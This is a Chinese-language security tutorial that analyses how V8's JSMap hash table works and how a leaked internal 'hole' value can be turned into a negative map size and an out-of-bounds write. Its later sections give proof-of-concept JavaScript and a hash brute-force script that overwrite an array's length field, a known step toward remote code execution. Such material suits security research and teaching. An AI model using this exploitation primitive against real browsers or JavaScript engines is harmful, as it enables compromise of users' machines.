一 JSMap
V8
中的Map
是在哈希表的基础上构建出来的,但是不等同于哈希表,因为哈希表是不提供插入元素的顺序保证的,但是ES
标准要求Map
要记录元素的插入顺序。Map
底层采用的是deterministic hash tables,当然对于我们而言无需关心其具体是什么,类似哈希表就完了。确定性哈希表采用的数据结构伪代码如下:interface Entry { key: any; value: any; chain: number; } interface CloseTable { hashTable: number[]; dataTable: Entry[]; nextSlot: number; size: number; }
CloseTable
代码的就是代表的哈希表,其成员hashTable
的大小代表buckets
的数量,其第i
个元素代表的就是第i
个buckets
头元素在dataTable
中的index
:其实这里把
hashTable
当作bucket
使用数组,dataTable
当作bucket
数组就好了,这样做的目的就是为了记录元素的插入顺序。key
和value
设置为undefined
,所以这里被删除的元素仍然占据内存空间。dataTable
满了,V8
是如何进行扩容的呢?这里引入v8
中的实现规则:dataTable.length = 2 * bucket = 2 * hashTable.length
v8
中Map
的内存模型了在简单验证验证。V8 源码分析
v8
中,JSMap
的内存布局如下:Map
:就不多说了,就是每个对象都有的,表示对象的shape
FixedArray Length
:整个OrderedHashMap
的大小,其实就是一个FixedArray
elements
:存在的entry
的数量deleteds
:被删除的entry
的数量buckets
:bucket
的数量hashTable
、dataTable
就是上面介绍的两个表var map = new Map(); %DebugPrint(map); readline(); map.set(1, 1); map.set(2, 1); map.set(3, 1); map.set(4, 1); %DebugPrint(map); readline(); map.delete(3); %DebugPrint(map); readline(); map.set(5, 1); %DebugPrint(map); readline();
OrderedHashMap
:buckets
的数量为2
:dataTable
的大小为12
(8字节为单位哈),而每个entry
占 3,所以总的容量其实就是4
,其为2 * buckets
是满足之前说的dataTable.length = 2 * buckets = 2 * hashTable.length
。hashTable
和dataTable
,这里我直接画了一个图:这里似乎与上面参考文章说的有点不同,这里采用的头插法?而且我也没看出来这里是咋记录插入顺序的,但是这里使用
for...of
循环确实是按照顺序打印的:...... for (let x of map) { print(x); } /* 1,1 2,1 3,1 4,1 */
(3, 1)
:elements = 3
,而deleteds = 1
,这是符合逻辑的,并且hashTable
并没有改变,仅仅将对应的entry
的key/value
设置成了#hole
:OrderedHashMap
已经发生了变换,即这里发生了扩容:OrderedHashMap
:deleted entry
:set
map.set(key, value)
的作用就是给map
添加元素(其实就是键值对,只是笔者习惯叫做元素,读者自己明白就好),其在V8
层面的接口定义如下:TF_BUILTIN(MapPrototypeSet, CollectionsBuiltinsAssembler) { Node* const receiver = Parameter(Descriptor::kReceiver); Node* key = Parameter(Descriptor::kKey); Node* const value = Parameter(Descriptor::kValue); Node* const context = Parameter(Descriptor::kContext); // 检查 receiver 是否是 JS_MAP 类型,如果不是则抛出异常 ThrowIfNotInstanceType(context, receiver, JS_MAP_TYPE, "Map.prototype.set"); // 规格化 key key = NormalizeNumberKey(key); // 获取 table 即 OrderedHashMap TNode<OrderedHashMap> const table = CAST(LoadObjectField(receiver, JSMap::kTableOffset)); VARIABLE(entry_start_position_or_hash, MachineType::PointerRepresentation(), IntPtrConstant(0)); Label entry_found(this), not_found(this); // 根据 key 找到对应的 entry 索引 index,即检查 key 是否已经存在 TryLookupOrderedHashTableIndex<OrderedHashMap>(table, key, context, &entry_start_position_or_hash, &entry_found, ¬_found); // 成功找到 entry,即 key 已经存在 BIND(&entry_found); // If we found the entry, we just store the value there. // 将数据存入 entry,这里是 key 已经存在,索引就直接跟新 value StoreFixedArrayElement(table, entry_start_position_or_hash.value(), value, UPDATE_WRITE_BARRIER, kPointerSize * (OrderedHashMap::kHashTableStartIndex + OrderedHashMap::kValueOffset)); Return(receiver); Label no_hash(this), add_entry(this), store_new_entry(this); // 没有找到的 entry,即 key 原先不存在,说人话就是第一次 set key(或是设置过但是已经 delete 了) BIND(¬_found); { // If we have a hash code, we can start adding the new entry. // 如果已经计算了 hash code,则添加一个新 entry GotoIf(IntPtrGreaterThan(entry_start_position_or_hash.value(), IntPtrConstant(0)), &add_entry); // Otherwise, go to runtime to compute the hash code. // 否则计算 hash code entry_start_position_or_hash.Bind(SmiUntag(CallGetOrCreateHashRaw(key))); Goto(&add_entry); } BIND(&add_entry); VARIABLE(number_of_buckets, MachineType::PointerRepresentation()); VARIABLE(occupancy, MachineType::PointerRepresentation()); TVARIABLE(OrderedHashMap, table_var, table); { // Check we have enough space for the entry. // 检查是否有足够的 entry 空间 // 获取 buckets 的数量 number_of_buckets.Bind(SmiUntag(CAST(LoadFixedArrayElement(table, OrderedHashMap::kNumberOfBucketsIndex)))); // 每次扩容或缩容都是按照2的次幂进行的 STATIC_ASSERT(OrderedHashMap::kLoadFactor == 2); // 容量 capacity = number_of_buckets << 1 = number_of_buckets * 2 Node* const capacity = WordShl(number_of_buckets.value(), 1); // 有效元素的数量 number_of_elements Node* const number_of_elements = SmiUntag(CAST(LoadObjectField( table, OrderedHashMap::kNumberOfElementsOffset))); // 被删除元素的数量 number_of_deleted Node* const number_of_deleted = SmiUntag(CAST(LoadObjectField( table, OrderedHashMap::kNumberOfDeletedElementsOffset))); // occupancy = number_of_elements + number_of_deleted 即已经被占据的 entry 空间 occupancy.Bind(IntPtrAdd(number_of_elements, number_of_deleted)); // 如果 occupancy < capacity,说明有空闲的 entry,因此 store_new_entry GotoIf(IntPtrLessThan(occupancy.value(), capacity), &store_new_entry); // We do not have enough space, grow the table and reload the relevant // fields. // 否则来到这里说明 occupancy >= capacity(应该是不存在大于的)则进行扩容 CallRuntime(Runtime::kMapGrow, context, receiver); // 扩容后,又来一次获取: // table、number_of_buckets、new_number_of_elements、new_number_of_deleted、occupancy table_var = CAST(LoadObjectField(receiver, JSMap::kTableOffset)); number_of_buckets.Bind(SmiUntag(CAST(LoadFixedArrayElement( table_var.value(), OrderedHashMap::kNumberOfBucketsIndex)))); Node* const new_number_of_elements = SmiUntag(CAST(LoadObjectField( table_var.value(), OrderedHashMap::kNumberOfElementsOffset))); Node* const new_number_of_deleted = SmiUntag(CAST(LoadObjectField( table_var.value(), OrderedHashMap::kNumberOfDeletedElementsOffset))); occupancy.Bind(IntPtrAdd(new_number_of_elements, new_number_of_deleted)); Goto(&store_new_entry); } BIND(&store_new_entry); // Store the key, value and connect the element to the bucket chain. // 看注释:存储 key、value 并且将其加入对应的 bucket 链表 StoreOrderedHashMapNewEntry(table_var.value(), key, value, entry_start_position_or_hash.value(), number_of_buckets.value(), occupancy.value()); Return(receiver); }
set
的整个逻辑如下:-
检查 key 是否存在
-
若不存在空闲的 entry,则进行扩容,然后填充 entry
-
若存在空闲的 entry,则直接填充 entry
-
若 key 存在,则直接更新 value
-
若 key 不存在,则检查是否存在空闲 entry
TryLookupOrderedHashTableIndex
函数去寻找key
对应的entry
的,即判断key
是否存在:template <typename CollectionType> void CollectionsBuiltinsAssembler::TryLookupOrderedHashTableIndex( Node* const table, Node* const key, Node* const context, Variable* result, Label* if_entry_found, Label* if_not_found) { Label if_key_smi(this), if_key_string(this), if_key_heap_number(this), if_key_bigint(this); GotoIf(TaggedIsSmi(key), &if_key_smi); Node* key_map = LoadMap(key); Node* key_instance_type = LoadMapInstanceType(key_map); GotoIf(IsStringInstanceType(key_instance_type), &if_key_string); GotoIf(IsHeapNumberMap(key_map), &if_key_heap_number); GotoIf(IsBigIntInstanceType(key_instance_type), &if_key_bigint); FindOrderedHashTableEntryForOtherKey<CollectionType>( context, table, key, result, if_entry_found, if_not_found); BIND(&if_key_smi); { FindOrderedHashTableEntryForSmiKey<CollectionType>( table, key, result, if_entry_found, if_not_found); } BIND(&if_key_string); { FindOrderedHashTableEntryForStringKey<CollectionType>( context, table, key, result, if_entry_found, if_not_found); } BIND(&if_key_heap_number); { FindOrderedHashTableEntryForHeapNumberKey<CollectionType>( context, table, key, result, if_entry_found, if_not_found); } BIND(&if_key_bigint); { FindOrderedHashTableEntryForBigIntKey<CollectionType>( context, table, key, result, if_entry_found, if_not_found); } }
key
,有着不同的寻找方式,这里以Smi
类型的key
为例,对于Smi
类型的key
寻找其entry
利用的函数是FindOrderedHashTableEntryForSmiKey
:template <typename CollectionType> void CollectionsBuiltinsAssembler::FindOrderedHashTableEntryForSmiKey( Node* table, Node* smi_key, Variable* result, Label* entry_found, Label* not_found) { Node* const key_untagged = SmiUntag(smi_key); Node* const hash = ChangeInt32ToIntPtr(ComputeIntegerHash(key_untagged, Int32Constant(0))); CSA_ASSERT(this, IntPtrGreaterThanOrEqual(hash, IntPtrConstant(0))); result->Bind(hash); FindOrderedHashTableEntry<CollectionType>( table, hash, [&](Node* other_key, Label* if_same, Label* if_not_same) { SameValueZeroSmi(smi_key, other_key, if_same, if_not_same); }, result, entry_found, not_found); }
ComputeIntegerHash
计算出key
的哈希值,然后再用FindOrderedHashTableEntry
进行查找,ComputeIntegerHash
函数如下:inline uint32_t ComputeIntegerHash(uint32_t key, uint64_t seed) { uint32_t hash = key; hash = hash ^ static_cast<uint32_t>(seed); hash = ~hash + (hash << 15); // hash = (hash << 15) - hash - 1; hash = hash ^ (hash >> 12); hash = hash + (hash << 2); hash = hash ^ (hash >> 4); hash = hash * 2057; // hash = (hash + (hash << 3)) + (hash << 11); hash = hash ^ (hash >> 16); return hash & 0x3fffffff; }
FindOrderedHashTableEntry
上:template <typename CollectionType> void CodeStubAssembler::FindOrderedHashTableEntry( Node* table, Node* hash, std::function<void(Node*, Label*, Label*)> key_compare, Variable* entry_start_position, Label* entry_found, Label* not_found) { // Get the index of the bucket. // 获取 bucket 的数量 number_of_buckets Node* const number_of_buckets = SmiUntag(CAST(LoadFixedArrayElement( CAST(table), CollectionType::kNumberOfBucketsIndex))); // 获取 key 对于 bucket 的编号:bucket = hash[key] & (number_of_buckets - 1) Node* const bucket = WordAnd(hash, IntPtrSub(number_of_buckets, IntPtrConstant(1))); // 获取 first_entry = hastTable[bucket] Node* const first_entry = SmiUntag(CAST(LoadFixedArrayElement( CAST(table), bucket, CollectionType::kHashTableStartIndex * kPointerSize))); // Walk the bucket chain. // 遍历 bucket 单链表,first_entry 就是链表头 Node* entry_start; Label if_key_found(this); { VARIABLE(var_entry, MachineType::PointerRepresentation(), first_entry); Label loop(this, {&var_entry, entry_start_position}), continue_next_entry(this); Goto(&loop); BIND(&loop); // If the entry index is the not-found sentinel, we are done. // 如果 var_entry = CollectionType::kNotFound,则没找到对应的 entry // 这里我没有找到 CollectionType::kNotFound 的定义,我猜测是 -1 // 因为 entry 的 chain 域尾巴是 -1,hashTable 不存在时也是 -1 GotoIf( WordEqual(var_entry.value(), IntPtrConstant(CollectionType::kNotFound)), not_found); // Make sure the entry index is within range. // 检查 entry index 的范围,防止越界 CSA_ASSERT( this, UintPtrLessThan( var_entry.value(), SmiUntag(SmiAdd( CAST(LoadFixedArrayElement( CAST(table), CollectionType::kNumberOfElementsIndex)), CAST(LoadFixedArrayElement( CAST(table), CollectionType::kNumberOfDeletedElementsIndex)))))); // Compute the index of the entry relative to kHashTableStartIndex. // 计算 entry_index 相对于 HashTableStartIndex 的偏移 // entry_start = var_entry * 3 + number_of_buckets // 其实就是相对 hashTable 的偏移 entry_start = IntPtrAdd(IntPtrMul(var_entry.value(), IntPtrConstant(CollectionType::kEntrySize)), number_of_buckets); // Load the key from the entry. // 从 entry 中加载 key = candidate_key Node* const candidate_key = LoadFixedArrayElement( CAST(table), entry_start, CollectionType::kHashTableStartIndex * kPointerSize); // 这里没有找到 key_compare 的定义 // 根据名字猜测功能为:比较 candidate_key 和传入的 key,若相同则跳转到 if_key_found // 否则继续验证下一个 entry,即跳转到 continue_next_entry key_compare(candidate_key, &if_key_found, &continue_next_entry); BIND(&continue_next_entry); // Load the index of the next entry in the bucket chain. // 加载下一个 entry 的 index,然后继续循环 var_entry.Bind(SmiUntag(CAST(LoadFixedArrayElement( CAST(table), entry_start, (CollectionType::kHashTableStartIndex + CollectionType::kChainOffset) * kPointerSize)))); Goto(&loop); } BIND(&if_key_found); entry_start_position->Bind(entry_start); Goto(entry_found); }
bucket
链表时存在范围检查。StoreFixedArrayElement
函数我没有找到其定义,就分析下StoreOrderedHashMapNewEntry
函数,其实都比较比较简单,值得注意的是这里写入的entry
是根据hashTable
的偏移计算得到的:void CollectionsBuiltinsAssembler::StoreOrderedHashMapNewEntry( TNode<OrderedHashMap> const table, Node* const key, Node* const value, Node* const hash, Node* const number_of_buckets, Node* const occupancy) { // 获取对应的 bucket index:bucket = hash[key] & (number_of_buckets-1) Node* const bucket = WordAnd(hash, IntPtrSub(number_of_buckets, IntPtrConstant(1))); // 获取 bucket 链表头 bucket_entry Node* const bucket_entry = LoadFixedArrayElement(table, bucket, OrderedHashMap::kHashTableStartIndex * kPointerSize); // Store the entry elements. // entry_start = occupancy * 3 + number_of_buckets // entry_start 就是新的 entry 相对于 hashTable 的偏移,这个应该可以想清楚吧 Node* const entry_start = IntPtrAdd( IntPtrMul(occupancy, IntPtrConstant(OrderedHashMap::kEntrySize)), number_of_buckets); // 存储 key StoreFixedArrayElement(table, entry_start, key, UPDATE_WRITE_BARRIER, kPointerSize * OrderedHashMap::kHashTableStartIndex); // 存储 value StoreFixedArrayElement(table, entry_start, value, UPDATE_WRITE_BARRIER, kPointerSize * (OrderedHashMap::kHashTableStartIndex + OrderedHashMap::kValueOffset)); // 存储 bucket_entry,这里采用的头插法 StoreFixedArrayElement(table, entry_start, bucket_entry, SKIP_WRITE_BARRIER, kPointerSize * (OrderedHashMap::kHashTableStartIndex + OrderedHashMap::kChainOffset)); // Update the bucket head. // 采用的头插法,所以更新 bucket 头为新的 entry StoreFixedArrayElement(table, bucket, SmiTag(occupancy), SKIP_WRITE_BARRIER, OrderedHashMap::kHashTableStartIndex * kPointerSize); // Bump the elements count. // 跟新 elements 字段,就是将其加 1 TNode<Smi> const number_of_elements = CAST(LoadObjectField(table, OrderedHashMap::kNumberOfElementsOffset)); StoreObjectFieldNoWriteBarrier(table, OrderedHashMap::kNumberOfElementsOffset, SmiAdd(number_of_elements, SmiConstant(1))); }
delete
map.delete(key)
的作用就是删除对应元素,其在V8
层的接口函数如下:TF_BUILTIN(MapPrototypeDelete, CollectionsBuiltinsAssembler) { Node* const receiver = Parameter(Descriptor::kReceiver); Node* key = Parameter(Descriptor::kKey); Node* const context = Parameter(Descriptor::kContext); // 检查 receiver 的类型是否为 JS_MAP_TYPE ThrowIfNotInstanceType(context, receiver, JS_MAP_TYPE, "Map.prototype.delete"); // 获取 table TNode<OrderedHashMap> const table = CAST(LoadObjectField(receiver, JSMap::kTableOffset)); VARIABLE(entry_start_position_or_hash, MachineType::PointerRepresentation(), IntPtrConstant(0)); Label entry_found(this), not_found(this); // 寻找 key 对应的 entry TryLookupOrderedHashTableIndex<OrderedHashMap>(table, key, context, &entry_start_position_or_hash, &entry_found, ¬_found); // 没找到返回 false BIND(¬_found); Return(FalseConstant()); BIND(&entry_found); // If we found the entry, mark the entry as deleted. // 找到了,则标记该 entry 已经被删除 // 修改 key 为 TheHoleConstant StoreFixedArrayElement(table, entry_start_position_or_hash.value(), TheHoleConstant(), UPDATE_WRITE_BARRIER, kPointerSize * OrderedHashMap::kHashTableStartIndex); // 修改 value 为 TheHoleConstant StoreFixedArrayElement(table, entry_start_position_or_hash.value(), TheHoleConstant(), UPDATE_WRITE_BARRIER, kPointerSize * (OrderedHashMap::kHashTableStartIndex + OrderedHashMap::kValueOffset)); // Decrement the number of elements, increment the number of deleted elements. // elements 减 1 TNode<Smi> const number_of_elements = SmiSub(CAST(LoadObjectField( table, OrderedHashMap::kNumberOfElementsOffset)), SmiConstant(1)); StoreObjectFieldNoWriteBarrier(table, OrderedHashMap::kNumberOfElementsOffset, number_of_elements); // deleted 加 1 TNode<Smi> const number_of_deleted = SmiAdd(CAST(LoadObjectField( table, OrderedHashMap::kNumberOfDeletedElementsOffset)), SmiConstant(1)); StoreObjectFieldNoWriteBarrier(table, OrderedHashMap::kNumberOfDeletedElementsOffset, number_of_deleted); // 获取 bucket 的数量 number_of_buckets TNode<Smi> const number_of_buckets = CAST(LoadFixedArrayElement(table, OrderedHashMap::kNumberOfBucketsIndex)); // If there fewer elements than #buckets / 2, shrink the table. Label shrink(this); // 如果 number_of_elements + number_of_elements < number_of_buckets,则进行缩减 shrink // 即:elements < buckets / 2 时就进行 shrink GotoIf(SmiLessThan(SmiAdd(number_of_elements, number_of_elements), number_of_buckets), &shrink); // 返回 true Return(TrueConstant()); BIND(&shrink); // 进行 shrink CallRuntime(Runtime::kMapShrink, context, receiver); Return(TrueConstant()); }
Runtime::kMapShrink
函数:RUNTIME_FUNCTION(Runtime_MapShrink) { HandleScope scope(isolate); DCHECK_EQ(1, args.length()); CONVERT_ARG_HANDLE_CHECKED(JSMap, holder, 0); Handle<OrderedHashMap> table(OrderedHashMap::cast(holder->table()), isolate); table = OrderedHashMap::Shrink(isolate, table); holder->set_table(*table); return ReadOnlyRoots(isolate).undefined_value(); }
OrderedHashMap::Shrink
函数:template <class Derived, int entrysize> Handle<Derived> OrderedHashTable<Derived, entrysize>::Shrink( Isolate* isolate, Handle<Derived> table) { DCHECK(!table->IsObsolete()); // 原 table 中 Elements 的数量 nof int nof = table->NumberOfElements(); // 原 table 的容量 capacity int capacity = table->Capacity(); // 如果 nof >= capacity / 4 = buckets / 2,则直接返回 table if (nof >= (capacity >> 2)) return table; // 否则调用 Rehash 进行 shrink,这里新的容量为 capacity / 2 return Rehash(isolate, table, capacity / 2); }
Rehash
函数:template <class Derived, int entrysize> Handle<Derived> OrderedHashTable<Derived, entrysize>::Rehash( Isolate* isolate, Handle<Derived> table, int new_capacity) { DCHECK(!table->IsObsolete()); // 根据 new_capacity 分配一个 new_table Handle<Derived> new_table = Allocate( isolate, new_capacity, Heap::InNewSpace(*table) ? NOT_TENURED : TENURED); // 获取 old_table 的 Elements 的数量 nof int nof = table->NumberOfElements(); // 获取 old_table 的 Deleted 的数量 nod int nod = table->NumberOfDeletedElements(); // 获取 new_table 的 bucket 数量 new_buckets int new_buckets = new_table->NumberOfBuckets(); int new_entry = 0; // 这里会将所有的 hole 删除,即删除被标记为被删除的元素 int removed_holes_index = 0; DisallowHeapAllocation no_gc; // 遍历 old_table 的 old_entry for (int old_entry = 0; old_entry < (nof + nod); ++old_entry) { // 获取 key Object* key = table->KeyAt(old_entry); // 如果 key 是 hole,则删除 hole entry(这里就这样叫了,其实就是被标记为被删除的元素) if (key->IsTheHole(isolate)) { table->SetRemovedIndexAt(removed_holes_index++, old_entry); continue; } // 否则将其填充到 new_table 中 // 获取 hash Object* hash = key->GetHash(); // 获取对应的 bucket = hash & (new_buckets - 1) int bucket = Smi::ToInt(hash) & (new_buckets - 1); // 获取 bucket 的链表头 chain_entry Object* chain_entry = new_table->get(kHashTableStartIndex + bucket); new_table->set(kHashTableStartIndex + bucket, Smi::FromInt(new_entry)); int new_index = new_table->EntryToIndex(new_entry); int old_index = table->EntryToIndex(old_entry); // 依次填充 key、value、chain for (int i = 0; i < entrysize; ++i) { Object* value = table->get(old_index + i); new_table->set(new_index + i, value); } new_table->set(new_index + kChainOffset, chain_entry); ++new_entry; } DCHECK_EQ(nod, removed_holes_index); new_table->SetNumberOfElements(nof); table->SetNextTable(*new_table); return new_table; }
二 利用原理
JSMap
分析了那么多,哪么hole
泄漏如何利用JSMap
进行攻击呢?Hole
是JS
内部的一种数据类型,用来标记不存在的元素,这个数据类型通常是不能泄露到用户JS
层面。Hole
类型的漏洞利用是指由于内部数据结构Hole
通过漏洞被暴露至 用户JS
层,因此可以根据Hole
创建⼀个长度为 -1 的JSMap
结构,导致越界读写,从而实现RCE
。map.delete
删除一个元素时,只是将该元素的key
、value
设置为hole
,并没有实际的删除该元素,实际上只是做了个标记,当进行shrink
操作时,这些被hole
标记的元素才会被真正的删除。那么如果我们可以创建key = hole
的元素,那么我们就可以多次删除元素从而导致map.size = -1
(当然这里前提是不进行shrink
操作,因为shrink
操作会清除hole
元素)。var map = new Map(); let hole = %TheHole(); map.set(1, 1); map.set(hole, 1); map.delete(hole); map.delete(hole); map.delete(1); console.log(map.size); // 输出: // -1
elements = -1、deleted = 0、buckets = 2
:map.set(1, 1)
呢?直接map.set(hole, 1)
,然后再delete
两次不行吗?其实这里就是涉及到shrink
操作会清除hole
元素,比如考虑如下代码:var map = new Map(); let hole = %TheHole(); map.set(hole, 1); map.delete(hole); map.delete(hole); console.log(map.size); // 输出: // 0
map.set(hole, 1)
后:elements = 1、deleted = 0、buckets = 2
map.delete(hole)
后:map.delete(hole)
后,elements = 0、deleted = 1、buckets = 2
,由于elements < buckets / 2
,所以第一次delete
后会发生shrink
、从而导致hole
元素被删除,因此第二次map.delete(hole)
时直接返回false
(这里不理解的看上面delete
操作的源码分析)map.size = -1
了,哪么接下来该如何去进行OOB
呢?先来看看如果现在我们继续向map
中添加元素,这时会发生什么呢?set
操作的源码分析中,我们知道当添加一个新的元素时(即key
事先不存在)new entry
的寻找方式为:&hashTable + buckets + occupancy * 3
,这里的occupancy = elements + deleted
map.size = -1
后,其相关字段的值为:elements = -1、deleted = 0、buckets = 2
new_entry = &hashTable + 2 + (-1 + 0) * 3 = &hashTable - 1 = hashTable[-1] = &buckets
new_entry = key|value|chain = buckets|hashTbale[0]|hashTable[1]
,即下一次添加新元素时,就可以修改buckets = key1、hashTable[0] = value1
new_entry = &hashTable + buckets + (0 + 0) * 3 = hashTable[key1]
,而key1
我们是可以控制的,所以new_entry
也是可控的,从而导致越界写key/value
,这里一般就是去写JSArray
的length
字段。set
操作源码时,我们知道当对bucket
链表进行遍历时会存在检查,所以我们得让bucket[hash(key) & (buckets - 1)] = -1
从而避免遍历bucket
链表。map.size = -1
后,第一次添加新元素是无所谓的,因为此时bucket[0] = -1、bucket[1] = -1
,但是第二次就得注意了,第一次添加时会导致bucket[0] != -1
或者bucket[1] != -1
,但是其实bucket[0] = value1
,所以可以让bucket[0] = value1 = -1
,这样在第二次添加时我们只需要让:hash(key2) & (buckets - 1) = 0
即可,这里到时候爆破一下就 ok 了。var map = new Map(); var hole = leak_hole(); map.set(1, 1); map.set(hole, 1); map.delete(hole); map.delete(hole); map.delete(1); map.set(oob_write_offset, -1); var oob_array = [1.1]; var obj_arr = [{}]; var float_arr = [1.1]; var rw_arr = [1.1]; map.set(key2, value2); // 其中 hashTable[oob_write_offset + 3] = 预被修改的地址 // hashTable[oob_write_offset + 3] = key2 // 也可以用 value2 去控制,这里随意 // 但是打 JSArray 的 length 字段时,还是用 key2 去写 length // 因为如果用 value2 去写 length 的话,elements 会被 key2 覆盖
key2
爆破脚本,这里的ComputeUnseededHash
函数以实际的V8
源码为准:#include <bits/stdc++.h> uint32_t ComputeUnseededHash(uint32_t key) { uint32_t hash = key; hash = ~hash + (hash << 15); hash = hash ^ (hash >> 12); hash = hash + (hash << 2); hash = hash ^ (hash >> 4); hash = hash * 2057; hash = hash ^ (hash >> 16); return hash & 0x3fffffff; } int main() { uint32_t key = 0x2000, buckets = 0x25; while ((ComputeUnseededHash(key) & (buckets - 1)) != 0) { key++; } printf("%#xn", key); return 0; }
三 相关例题
hole
泄漏出来,后面基本都是一样的。所以这里直接用%TheHole()
来获取hole
,以此来演示利用手法:const {log} = console; var raw_buf = new ArrayBuffer(8); var d_buf = new Float64Array(raw_buf); var l_buf = new BigInt64Array(raw_buf); let d2l = (v) => { d_buf[0] = v; return l_buf[0]; }; let l2d = (v) => { l_buf[0] = v; return d_buf[0]; }; let hexx = (str, v) => { log("�33[32m"+str+": �33[0m0x"+v.toString(16)); } let decc = (str, v) => { log("�33[32m"+str+": �33[0m"+v); } var map = new Map(); const hole = %TheHole(); map.set(1, 1); map.set(hole, 1); map.delete(hole); map.delete(hole); map.delete(1); decc("map.size", map.size); map.set(37, -1); var oob_arr = [1.1]; var tmp_arr = [2.2]; var rw_arr = [3.3]; var obj_arr = [0xeada, rw_arr]; hexx("oob_arr.length", oob_arr.length); map.set(0x2002, 0); hexx("oob_arr.length", oob_arr.length);
oob_arr.length
成功被修改为0x2002
导致越界读写。然后就是基本的OOB
类型漏洞利用了,没什么好说的。看雪ID:XiaozaYa
https://bbs.kanxue.com/user-home-965217.htm
原文始发于微信公众号(看雪学苑):V8 hole 类型漏洞利用总结
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论